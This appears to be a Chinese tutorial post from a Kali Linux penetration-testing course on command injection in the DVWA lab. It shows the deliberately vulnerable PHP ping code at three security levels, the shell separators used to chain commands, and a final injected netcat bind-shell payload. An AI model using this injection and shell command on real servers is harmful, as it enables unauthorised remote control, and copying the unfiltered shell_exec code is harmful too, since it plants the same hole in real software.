1. 程式人生 > >Kali Linux滲透測試 086 手動漏洞挖掘-命令執行漏洞

Kali Linux滲透測試 086 手動漏洞挖掘-命令執行漏洞

本文記錄 Kali Linux 2018.1 學習使用和滲透測試的詳細過程,教程為安全牛課堂裡的《Kali Linux 滲透測試》課程

1. 命令執行漏洞
2. 測試 Low 安全模式
    2-1. 測試手段
    2-2. 伺服器原始碼
3. 測試 Medium 安全模式
    3-1. 測試手段
    3-2. 伺服器原始碼
4. 測試 high 安全模式
    4-1. 測試手段
    4-2. 伺服器原始碼
5. 使伺服器開啟埠
    5-1. Low 安全模式

1. 命令執行漏洞

  1. 採用 DVWA 系統,IP地址:10.10.10.132
  2. Kali Linux 2018.1,IP地址:10.10.10.131
  3. 簡介

    應用程式直接呼叫作業系統命令的功能

2. 測試 Low 安全模式

1. 測試手段

  1. 輸入IP地址發現,是執行 ping 測試,發現和 ping 3 次結果一樣

  2. 使用符號 “;”、“&”、“&&”、“|”、“||”

    • 使用“;”

    • 使用“&”

    • 使用“&&”

    • 使用“|”

    • 使用“||”

2. 伺服器原始碼

# 低安全級別的情況下,伺服器未進行任何過濾
 <?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    } else { 
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    }
}
?> 

3. 測試 Medium 安全模式

1. 測試手段

  1. 輸入IP地址發現,是執行 ping 測試,發現和 ping 3 次結果一樣

  2. 使用符號 “;”、“&”、“&&”、“|”、“||”

    • 使用“;”

      無結果

    • 使用“&”

    • 使用“&&”

      無結果

    • 使用“|”

    • 使用“||”

2. 伺服器原始碼

# 進行了簡單的過濾,替換:'&&' => '',';' => '',使其無效。
 <?php
if( isset( $_POST[ 'submit'] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Remove any of the charactars in the array (blacklist).

    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    } else { 
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    }
}
?> 

4. 測試 high 安全模式

1. 測試手段

  1. 輸入IP地址發現,是執行 ping 測試,發現和 ping 3 次結果一樣

  2. 使用符號 “;”、“&”、“&&”、“|”、“||”.

    • 使用“;”

    • 使用“&”

      同上

    • 使用“&&”

      同上

    • 使用“|”

      同上

    • 使用“||”

      同上

2. 伺服器原始碼

#進行嚴格的過濾,不再存在命令執行漏洞
Command Execution Source
<?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST["ip"];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode(".", $target);

    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {

    // If all 4 octets are int's put the IP back together.
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        } else { 
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        }
    }
    else {
        echo '<pre>ERROR: You have entered an invalid IP</pre>';
    }
}
?>

5. 使伺服器開啟埠

1. Low 安全模式

  1. 開啟監聽埠

    ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
    

  2. 使用 kali 連線

  3. 弊端

    使用 nc 會被管理員發現打開了額外的埠